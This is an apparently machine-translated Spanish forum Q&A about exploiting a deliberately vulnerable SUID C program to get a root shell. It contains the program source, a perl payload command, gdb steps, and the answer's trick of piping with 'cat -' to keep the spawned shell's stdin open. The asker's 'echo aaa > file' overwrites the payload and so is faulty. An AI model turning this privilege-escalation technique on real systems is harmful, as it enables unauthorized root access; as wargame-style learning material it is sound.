Estoy tratando de explotar un programa SUID.
El programa es:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } void print(unsigned char *buf, int len) { int i; printf("[ "); for(i=0; i < len; i++) printf("%x ", buf[i]); printf(" ]\n"); } int main() { unsigned char buf[512]; unsigned char *ptr = buf + (sizeof(buf)/2); unsigned int x; while((x = getchar()) != EOF) { switch(x) { case '\n': print(buf, sizeof(buf)); continue; break; case '\\': ptr--; break; default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; } } printf("All done\n"); }
Podemos ver fácilmente que si de alguna manera cambiamos el contenido de ptr a alguna dirección que comience con CA, se generará un nuevo shell para nosotros. Y como ptr normalmente contiene una dirección que comienza con FF, la forma de disminuirla (ptr) es ingresar \ carácter. Entonces creo un archivo con 0x35000000 '\' caracteres, y finalmente 3 'a' al final del archivo
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000 echo aaa > file # So that e() is called which actually spawns the shell
Y finalmente en gdb,
run < file
Sin embargo, en lugar de generar un shell gdb está diciendo
process <some number> is executing new program /bin/dash inferior 1 exited normally
Y luego regrese al indicador de gdb en lugar de obtener un shell. He confirmado al establecer puntos de interrupción en las ubicaciones apropiadas que ptr realmente comienza con CA antes de que se llame a setresuid().
Además, si canalizo esto fuera de gdb, no pasa nada.
./vulnProg < file
El aviso de Bash regresa.
Por favor, dime dónde estoy cometiendo un error.
Puede ver el problema compilando un programa de prueba más simple
int main() { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }
Todo lo que hace es iniciar una versión de sed (en lugar del shell) y convierte la entrada anteponiendo "XXX:".
Si ejecuta el programa resultante y escribe en la Terminal, obtiene un comportamiento como este:
$./a.out Hello XXX:Hello Test XXX:Test ^D
Que es exactamente como esperábamos.
Ahora, si lo alimenta desde un archivo que contiene "Hello\nWorld", obtiene
$./a.out < file XXX:Hello XXX:World $
Y la aplicación sale inmediatamente, y el flujo de entrada a la aplicación se cierra cuando se ha leído todo el archivo de entrada.
Si desea proporcionar información adicional, debe usar un truco para no interrumpir el flujo de entrada.
{ cat file ; cat - ; } | ./a.out
Esto pondrá toda la entrada del archivo en un ./a.out
en ejecución y luego leerá desde stdin y lo agregará también.
$ { cat file ; cat - ; } | ./a.out XXX:Hello XXX:World This is a Test XXX:This is a Test